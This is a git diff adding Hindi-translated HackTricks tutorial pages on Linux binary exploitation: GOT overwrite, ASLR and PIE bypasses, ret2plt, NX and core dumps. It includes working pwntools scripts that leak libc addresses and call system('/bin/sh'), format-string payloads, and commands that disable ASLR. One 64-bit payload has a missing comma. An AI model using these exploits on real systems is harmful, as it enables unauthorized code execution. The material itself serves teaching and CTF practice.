(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) + +GEF का उपयोग करके आप **डीबगिंग** सत्र शुरू कर सकते हैं और **`got`** को निष्पादित करने के लिए **गोट** टेबल देख सकते हैं: + +![](<../../../.gitbook/assets/image (621).png>) + +### GOT2Exec + +एक बाइनरी में GOT में **फ़ंक्शनों के पते होते हैं या** PLT **खंड में जो फ़ंक्शन पता लोड करेगा**। इस अर्बिट्रेरी राइट का लक्ष्य है कि आप एक GOT प्रविष्टि को ओवरराइड करें जो बाद में **`system`** **फ़ंक्शन** के **PLT** का **पता** होगा। + +आदर्श रूप से, आपको एक **फ़ंक्शन** की **GOT** को **ओवरराइड करना** है जो बाद में **आपके द्वारा नियंत्रित पैरामीटरों के साथ कॉल किया जाएगा** (इसलिए आप सिस्टम फ़ंक्शन को भेजे गए पैरामीटरों को नियंत्रित कर सकेंगे)। + +यदि **`system`** **स्क्रिप्ट द्वारा उपयोग नहीं किया जाता है**, तो सिस्टम फ़ंक्शन **PLT में एक प्रविष्टि नहीं होगी**। इस स्थिति में, आपको **पहले सिस्टम** फ़ंक्शन का पता हल करने की आवश्यकता होगी और फिर GOT को इस पते पर पॉइंट करने के लिए ओवरराइट करना होगा। + +आप **`objdump -j .plt -d ./vuln_binary`** के साथ PLT पते देख सकते हैं + +## **सुरक्षा** + +**FullRELRO** सुरक्षा इस प्रकार की तकनीक के खिलाफ सुरक्षा प्रदान करने के लिए है जिसमें बाइनरी शुरू होने पर सभी फ़ंक्शनों के पते हल किए जाते हैं और इसके बाद **GOT टेबल को केवल पढ़ने योग्य** बनाया जाता है: + +{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %} +[relro.md](../common-binary-protections-and-bypasses/relro.md) +{% endcontent-ref %} + +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड** करें तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)! +* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family) +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**।** +* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md new file mode 100644 index 000000000..c6ce9250e --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md @@ -0,0 +1,39 @@ +# सामान्य बाइनरी सुरक्षा + +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें। +* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। + +
+ +## कोर फ़ाइल्स सक्षम करें + +**कोर फ़ाइलें** एक प्रकार की फ़ाइल होती हैं जो एक ऑपरेटिंग सिस्टम द्वारा उत्पन्न होती है जब कोई प्रक्रिया क्रैश होती है। ये फ़ाइलें क्रैश होने के समय क्रैश हुई प्रक्रिया की मेमोरी छवि को कैप्चर करती हैं, जिसमें प्रक्रिया की मेमोरी, रजिस्टर और प्रोग्राम काउंटर स्थिति सहित अन्य विवरण शामिल होते हैं। यह स्नैपशॉट डीबगिंग और समझने के लिए अत्यधिक मूल्यवान हो सकता है कि क्रैश क्यों हुआ। + +### **कोर डंप जनरेशन सक्षम करना** + +डिफ़ॉल्ट रूप से, कई सिस्टम कोर फ़ाइलों का आकार 0 तक सीमित करते हैं (अर्थात वे कोर फ़ाइलें नहीं उत्पन्न करते) ताकि डिस्क स्थान बचाया जा सके। कोर फ़ाइलों का उत्पन्न करने के लिए, आप `ulimit` कमांड (बैश या समान शैलियों में) का उपयोग कर सकते हैं या सिस्टम-व्यापी सेटिंग कॉन्फ़िगर कर सकते हैं। + +* **ulimit का उपयोग करना**: कमांड `ulimit -c unlimited` वर्तमान शैली सत्र को असीमित-आकार की कोर फ़ाइलें बनाने की अनुमति देता है। यह डिबगिंग सत्रों के लिए उपयोगी है लेकिन यह बूट या नए सत्रों के लिए स्थायी नहीं है। +```bash +ulimit -c unlimited +``` +* **स्थायी विन्यास**: एक और स्थायी समाधान के लिए, आप `/etc/security/limits.conf` फ़ाइल को संपादित कर सकते हैं और एक पंक्ति जो `* soft core unlimited` जैसी हो उसे शामिल कर सकते हैं, जिससे सभी उपयोगकर्ताओं को अप्रतिबंधित आकार की कोर फ़ाइलें उत्पन्न करने की अनुमति मिले बिना उन्हें अपने सत्र में यूलिमिट मैन्युअल रूप से सेट करने की आवश्यकता न हो। +```markdown +* soft core unlimited +``` +### **GDB के साथ कोर फ़ाइलों का विश्लेषण** + +कोर फ़ाइल का विश्लेषण करने के लिए, आप GDB (GNU डीबगर) जैसे डीबगिंग टूल का उपयोग कर सकते हैं। मान लीजिए कि आपके पास एक executable है जिसने एक कोर डंप उत्पन्न किया है और कोर फ़ाइल का नाम `core_file` है, तो आप विश्लेषण शुरू कर सकते हैं: +```bash +gdb /path/to/executable /path/to/core_file +``` +यह कमांड एक्जीक्यूटेबल और कोर फ़ाइल को GDB में लोड करती है, जिससे आप क्रैश होने के समय प्रोग्राम की स्थिति की जांच कर सकते हैं। आप GDB कमांड का उपयोग करके स्टैक की जांच, वेरिएबल्स की जांच कर सकते हैं, और क्रैश के कारण को समझ सकते हैं। diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md new file mode 100644 index 000000000..99ad44975 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md @@ -0,0 +1,150 @@ +# ASLR + +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। +* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। + +
+ +## मूल जानकारी + +**Address Space Layout Randomization (ASLR)** एक सुरक्षा तकनीक है जो ऑपरेटिंग सिस्टम में उपयोग किए जाने वाले **सिस्टम और एप्लिकेशन प्रक्रियाओं द्वारा उपयोग किए जाने वाले मेमोरी पतों को यादृच्छिक बनाती है**। इसके द्वारा, यह किसी आक्रमक को प्रक्रियाओं और डेटा के विशिष्ट स्थान का पूर्वानुमान करना बहुत कठिन बना देती है, जैसे स्टैक, हीप, और लाइब्रेरी, इस प्रकार के कुछ प्रकार के उत्पीड़न को कम करती है, विशेषकर बफर ओवरफ्लो। + +### **ASLR स्थिति की जाँच** + +Linux सिस्टम पर ASLR स्थिति की जाँच करने के लिए, आप `/proc/sys/kernel/randomize_va_space` फ़ाइल से मान पढ़ सकते हैं। इस फ़ाइल में स्टोर की गई मान यह निर्धारित करती है कि कौन सा प्रकार का ASLR लागू है: + +* **0**: कोई यादृच्छिकता नहीं। सब कुछ स्थैतिक है। +* **1**: सतर्क यादृच्छिकता। साझा लाइब्रेरी, स्टैक, mmap(), VDSO पेज यादृच्छिक हैं। +* **2**: पूर्ण यादृच्छिकता। सतर्क यादृच्छिकता द्वारा यादृच्छिक किए गए तत्वों के अतिरिक्त, `brk()` के माध्यम से प्रबंधित मेमोरी यादृच्छिक है। + +आप निम्नलिखित कमांड के साथ ASLR स्थिति की जाँच कर सकते हैं: +```bash +cat /proc/sys/kernel/randomize_va_space +``` +### **ASLR को अक्षम करना** + +ASLR को अक्षम करने के लिए, आप `/proc/sys/kernel/randomize_va_space` के मान को **0** पर सेट करें। ASLR को अक्षम करना सामान्य रूप से टेस्टिंग या डीबगिंग स्थितियों के बाहर सिफारिश नहीं की जाती है। यहाँ दिया गया है कि आप इसे कैसे अक्षम कर सकते हैं: +```bash +echo 0 | sudo tee /proc/sys/kernel/randomize_va_space +``` +आप एक निष्पादन के लिए ASLR को अक्षम कर सकते हैं: +```bash +setarch `arch` -R ./bin args +setarch `uname -m` -R ./bin args +``` +### **ASLR सक्रिय करना** + +ASLR को **सक्रिय** करने के लिए, आप `/proc/sys/kernel/randomize_va_space` फ़ाइल में **2** का मान लिख सकते हैं। यह आम तौर पर रूट विशेषाधिकारों की आवश्यकता होती है। पूर्ण यादृच्छिकता सक्रिय करने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है: +```bash +echo 2 | sudo tee /proc/sys/kernel/randomize_va_space +``` +### **पुनरारंभों पर स्थिरता** + +`echo` कमांड के साथ की गई परिवर्तन अस्थायी हैं और पुनरारंभ पर रीसेट हो जाएंगे। परिवर्तन स्थायी बनाने के लिए, आपको `/etc/sysctl.conf` फ़ाइल में जाकर निम्नलिखित पंक्ति जोड़नी या संशोधित करनी होगी: +```tsconfig +kernel.randomize_va_space=2 # Enable ASLR +# or +kernel.randomize_va_space=0 # Disable ASLR +``` +प्रबंधन करने के बाद `/etc/sysctl.conf` संपादित करें, तो बदलाव लागू करें: +```bash +sudo sysctl -p +``` +यह सुनिश्चित करेगा कि आपकी ASLR सेटिंग्स पुनरारंभ होने पर भी बनी रहें। + +## **बाईपास** + +### 32बिट ब्रूट-फोर्सिंग + +PaX प्रक्रिया पता स्थान क्षेत्र को **3 समूहों** में विभाजित करता है: + +* **कोड और डेटा** (सक्रिय और असक्रिय): `.text`, `.data`, और `.bss` —> `delta_exec` चर में **16 बिट** का अनियमितता। यह चर प्रत्येक प्रक्रिया के साथ यादृच्छिक रूप से प्रारंभ होता है और प्रारंभिक पतों में जोड़ा जाता है। +* `mmap()` द्वारा आवंटित **स्मृति** और **साझा पुस्तकालय** —> **16 बिट**, जिसे `delta_mmap` नामक किया गया है। +* **स्टैक** —> **24 बिट**, `delta_stack` के रूप में संदर्भित। हालांकि, यह वास्तव में **11 बिट** का उपयोग करता है (10वें से 20वें बाइट समाविष्ट), **16 बाइट** के अनुरूप संरेखित —> इससे **524,288 संभावित वास्तविक स्टैक पते** होते हैं। + +पिछले डेटा 32-बिट सिस्टमों के लिए है और कम होने वाली अंतिम अनियमितता को संभावित बनाता है ASLR को बाईपास करने के लिए, जब तक उत्पीड़न सफलतापूर्वक पूरा न हो जाए। + +#### ब्रूट-फोर्स विचार: + +* यदि उत्पीड़न स्थानीय है, तो आप libc के आधार पते को ब्रूट-फोर्स कर सकते हैं (32बिट सिस्टमों के लिए उपयोगी): +```python +for off in range(0xb7000000, 0xb8000000, 0x1000): +``` +* अगर आप एक रिमोट सर्वर पर हमला कर रहे हैं, तो आप `libc` फ़ंक्शन `usleep` का पता लगाने के लिए **एड्रेस को ब्रूट-फ़ोर्स कर सकते हैं**, 10 को एर्ग्यूमेंट के रूप में पास करते हुए। यदि किसी समय **सर्वर 10 सेकंड अतिरिक्त समय लेता है** तो आपने इस फ़ंक्शन का पता लगा लिया है। + +{% hint style="success" %} +64बिट सिस्टम में एंट्रोपी अधिक होती है और यह संभव नहीं है। +{% endhint %} + +### लीक होना + +* **चुनौती एक लीक देना है** + +अगर आपको एक लीक मिलती है (सरल CTF चुनौतियाँ), तो आप उससे ऑफसेट की गणना कर सकते हैं (उदाहरण के लिए मान लें कि आप जानते हैं कि आपके द्वारा उत्पादित सिस्टम में उपयोग किए जाने वाले सटीक libc संस्करण का पता है)। यह उदाहरण शोध यहाँ से निकाला गया है [**यहाँ से उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (अधिक विवरण के लिए उस पृष्ठ की जाँच करें): +```python +from pwn import * + +elf = context.binary = ELF('./vuln-32') +libc = elf.libc +p = process() + +p.recvuntil('at: ') +system_leak = int(p.recvline(), 16) + +libc.address = system_leak - libc.sym['system'] +log.success(f'LIBC base: {hex(libc.address)}') + +payload = flat( +'A' * 32, +libc.sym['system'], +0x0, # return address +next(libc.search(b'/bin/sh')) +) + +p.sendline(payload) + +p.interactive() +``` +* **ret2plt** + +एक बफर ओवरफ्लो का दुरुपयोग करके एक **ret2plt** का शोषण करना संभव होगा ताकि libc से किसी फ़ंक्शन का पता निकाला जा सके। जांच करें: + +{% content-ref url="ret2plt.md" %} +[ret2plt.md](ret2plt.md) +{% endcontent-ref %} + +* **फॉर्मेट स्ट्रिंग्स अर्बिट्रेरी रीड** + +जैसे कि ret2plt में, अगर आपके पास फॉर्मेट स्ट्रिंग्स वलनरबिलिटी के माध्यम से एक अर्बिट्रेरी रीड है तो एक **libc फ़ंक्शन** का पता निकालना संभव है। निम्नलिखित [**उदाहरण यहाँ से है**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): +```python +payload = p32(elf.got['puts']) # p64() if 64-bit +payload += b'|' +payload += b'%3$s' # The third parameter points at the start of the buffer + +# this part is only relevant if you need to call the main function again + +payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer +payload += p32(elf.symbols['main']) +``` +आप फॉर्मेट स्ट्रिंग्स अर्बिट्रे रीड के बारे में अधिक जानकारी यहाँ पा सकते हैं: + +{% content-ref url="../../format-strings/" %} +[format-strings](../../format-strings/) +{% endcontent-ref %} + +### Ret2ret + +स्टैक के अंदर के पतों का दुरुपयोग करके ASLR को बायपास करने का प्रयास करें: + +{% content-ref url="../../stack-overflow/ret2ret.md" %} +[ret2ret.md](../../stack-overflow/ret2ret.md) +{% endcontent-ref %} diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md new file mode 100644 index 000000000..98627ffe6 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md @@ -0,0 +1,96 @@ +# Ret2plt + +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। +* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। + +
+ +## मौलिक जानकारी + +इस तकनीक का उद्देश्य होगा किसी **PLT से फ़ंक्शन का पता लीक करना** ताकि ASLR को उम्मीद से भी आगे बढ़ा सकें। यह इसलिए है क्योंकि यदि आप, उदाहरण के लिए, `puts` फ़ंक्शन का पता libc से लीक करते हैं, तो फिर आप **`libc` का बेस कहाँ है उसे गणना** कर सकते हैं और **`system`** जैसी अन्य फ़ंक्शनों तक पहुँचने के लिए ऑफसेट्स की गणना कर सकते हैं। + +यह `pwntools` पेलोड के साथ किया जा सकता है जैसे ([**यहाँ से**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)): +```python +# 32-bit ret2plt +payload = flat( +b'A' * padding, +elf.plt['puts'], +elf.symbols['main'], +elf.got['puts'] +) + +# 64-bit +payload = flat( +b'A' * padding, +POP_RDI, +elf.got['puts'] +elf.plt['puts'], +elf.symbols['main'] +) +``` +नोट करें कि **`puts`** (PLT से पता किए गए पते का उपयोग करके) `GOT` में स्थित `puts` के पते के साथ कॉल किया जाता है। यह इसलिए है क्योंकि `puts` जब `puts` `GOT` प्रविष्टि को प्रिंट करता है, तो यह **प्रविष्टि मेमोरी में `puts` का पता रखेगी**। + +इसके अलावा, ध्यान दें कि एक्सप्लॉइट में `main` का पता उपयोग किया जाता है, इसलिए जब `puts` अपना कार्य समाप्त करता है, **बाइनरी `main` को बंद करने की बजाय फिर से कॉल करता है** (ताकि लीक हुए पते को जारी रखा जा सके)। + +{% hint style="danger" %} +ध्यान दें कि इसे काम करने के लिए **बाइनरी को PIE के साथ कंपाइल नहीं किया जा सकता** चाहिए या फिर आपको `PLT`, `GOT` और `main` के पते का पता होना चाहिए ताकि PIE को नजरअंदाज करने के लिए एक लीक पाया जा सके। +{% endhint %} + +आप यहाँ [**इस बाइपास का पूर्ण उदाहरण देख सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)। यह उस उदाहरण से अंतिम एक्सप्लॉइट था: +```python +from pwn import * + +elf = context.binary = ELF('./vuln-32') +libc = elf.libc +p = process() + +p.recvline() + +payload = flat( +'A' * 32, +elf.plt['puts'], +elf.sym['main'], +elf.got['puts'] +) + +p.sendline(payload) + +puts_leak = u32(p.recv(4)) +p.recvlines(2) + +libc.address = puts_leak - libc.sym['puts'] +log.success(f'LIBC base: {hex(libc.address)}') + +payload = flat( +'A' * 32, +libc.sym['system'], +libc.sym['exit'], +next(libc.search(b'/bin/sh\x00')) +) + +p.sendline(payload) + +p.interactive() +``` +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)! + +दूसरे तरीके HackTricks का समर्थन करने के लिए: + +* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें +* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें +* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें। +* **अपने हैकिंग ट्रिक्स साझा करें** PRs के जरिए [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में सबमिट करके। + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md new file mode 100644 index 000000000..38ca9e002 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md @@ -0,0 +1,40 @@ +# No-exec / NX + +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +दूसरे तरीके HackTricks का समर्थन करने के लिए: + +* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। +* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। + +
+ +## मौलिक जानकारी + +**No-Execute (NX)** बिट, जिसे इंटेल शब्दावली में **Execute Disable (XD)** के रूप में भी जाना जाता है, एक हार्डवेयर-आधारित सुरक्षा सुविधा है जो **बफर ओवरफ्लो** हमलों के प्रभावों को **कम करने** के लिए डिज़ाइन की गई है। जब इसे लागू और सक्षम किया जाता है, तो यह व्यावसायिक कोड के लिए निर्देशित मेमोरी क्षेत्रों के बीच भिन्न करता है जो डेटा के लिए हैं, जैसे **स्टैक** और **हीप**। मूल विचार यह है कि एक हमलावार को बफर ओवरफ्लो जोखिमों के माध्यम से दुरुपयोगी कोड को नकारने के लिए, उदाहरण के लिए स्टैक में दुरुपयोगी कोड डालकर और इसे के लिए निर्देशित करके उस पर निर्देशन विकास को रोकना। + +## बायपास + +* इस सुरक्षा को छलकरने के लिए [**ROP**](../stack-overflow/rop-return-oriented-programing.md) जैसी तकनीकों का उपयोग करना संभव है, जिससे बाइनरी में पहले से मौजूद कर्यात्मक कोड के टुकड़े को निष्पादित किया जा सकता है। +* [**Ret2libc**](../stack-overflow/ret2lib/) +* [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md) +* **Ret2...** + +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +दूसरे तरीके HackTricks का समर्थन करने के लिए: + +* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। +* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md new file mode 100644 index 000000000..a9480ed2d --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md @@ -0,0 +1,55 @@ +# PIE + +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)! +* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* हमारा संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें** द्वारा **PRs सबमिट** करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। + +
+ +## मौलिक जानकारी + +एक बाइनरी जो PIE के रूप में कंपाइल किया गया है, या **स्थिति स्वतंत्र कार्यकारी**, यह अर्थ है कि **प्रोग्राम हर बार जब भी चलाया जाता है तो विभिन्न मेमोरी स्थानों पर लोड हो सकता है**, हार्डकोड किए गए पतों से बचाव करता है। + +इन बाइनरी को उत्पीड़ित करने का तरीका **संबंधित पतों** का उपयोग करना है—प्रोग्राम के भागों के बीच के अंतर यदी स्थान बदल जाए तो भी वे वही रहेंगे। PIE को बाइपास करने के लिए, आपको केवल एक पता लीक करने की आवश्यकता है, सामान्यत: **स्टैक** से, जैसे कि फॉर्मेट स्ट्रिंग हमलों जैसे दुरुपयोग करके। एक बार जब आपके पास एक पता होता है, तो आप उन्हें उनके **निश्चित ऑफसेट** के द्वारा हिसाब से कर सकते हैं। + +PIE बाइनरी का उत्पीड़न करने में एक सहायक संकेत है कि उनका **आधार पता सामान्यत: 000 समाप्त होता है** क्योंकि मेमोरी पेज यादृच्छिकता की इकाइयाँ होती हैं, जो 0x1000 बाइट के आकार में होती हैं। यह समरूपण एक महत्वपूर्ण **जांच हो सकती है यदि एक उत्पीड़न जैसा काम नहीं कर रहा** है, जिससे पता चलता है कि सही आधार पता पहचाना गया है।\ +या आप इसे अपने उत्पीड़न के लिए उपयोग कर सकते हैं, यदि आप लीक करते हैं कि एक पता **`0x649e1024`** पर स्थित है तो आप जानते हैं कि **आधार पता `0x649e1000` है** और फिर आप सिर्फ **कार्यों और स्थानों के ऑफसेट** की **हिसाब** कर सकते हैं। + +## बाइपास + +PIE को बाइपास करने के लिए **लोड किए गए** बाइनरी का कुछ पता **लीक करने** की आवश्यकता है, इसके लिए कुछ विकल्प हैं: + +* **दिया गया** गया है (सरल CTF चुनौतियों में सामान्य, [**इस उदाहरण की जाँच करें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) +* स्टैक में सही वैल्यूज को लीक करने तक **EBP और EIP मानों को ब्रूट-फोर्स करें**: + +{% content-ref url="bypassing-canary-and-pie.md" %} +[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md) +{% endcontent-ref %} + +* एक ऐसी विकल्प पढ़ें जैसे [**फॉर्मेट स्ट्रिंग**](../../format-strings/) का एक विचित्र पठन दोष जैसे एक पता लीक करने के लिए बाइनरी का एक पता (जैसे पिछले तकनीक में स्टैक से) तक पहुंचने के लिए उपयोग करें। [**यहाँ एक उदाहरण खोजें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). + +## संदर्भ + +* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) + +
